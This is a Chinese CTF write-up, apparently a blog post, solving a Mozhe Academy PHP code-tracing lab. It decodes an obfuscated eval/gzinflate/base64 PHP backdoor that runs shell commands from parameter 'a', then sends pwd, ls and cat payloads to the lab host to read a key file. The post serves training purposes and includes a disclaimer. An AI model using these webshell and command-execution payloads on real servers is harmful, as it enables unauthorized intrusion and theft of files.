今天继续给大家介绍CTF通关writeup,本文主要内容是墨者学院 PHP代码分析溯源(第4题)。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、题目简介
今天,我们对墨者学院PHP代码分析溯源(第四题)进行学习,该题目地址为:https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe,打开后页面如下所示:
我们启动该靶场环境,打开后结果如下所示:
二、破解源码
从题目题设来看,我们需要做的第一步就是破解源码,我们先把题目中源代码复制下来,去掉最外层的eval函数后,添加echo函数,并将其复制为本地的PHP文件,文件内容如下所示:
<?php
echo gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&"));
?>
之后,我们搭建好本地PHP环境,然后尝试访问该页面,结果如下所示:
从上图中可以看出,上述源代码在解析后,最外层是一个eval()函数的代码执行函数,而内层使用了反引号将代码执行转化为了命令执行,我们可以使用任意方式提交参数a,作为命令执行的输入。
三、命令执行拿到key
接下来,我们就可以利用a参数来提交命令,进而获得key了。首先,我们先查看当前web系统所在目录,构造payload如下所示:
http://124.70.91.203:45975/f.php?a=pwd
结果如下所示:
从上图中可以看出,当前网页根目录是/var/www/html,之后,我们来查看一下根目录内部有什么文件,构造payload如下所示:
http://124.70.91.203:45975/f.php?a=ls%20/var/www/html
该payload执行后结果如下所示:
在得到根目录下的文件后,我们怀疑key_813517043132.php文件即隐藏着key值,因此,我们尝试打开访问该文件,构造payload如下所示:
http://124.70.91.203:45975/f.php?a=cat%20key_813517043132.php
该payload执行后,结果如下所示:
我们需要打开文件网页源代码,就可以查看到该文件中的key值了。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200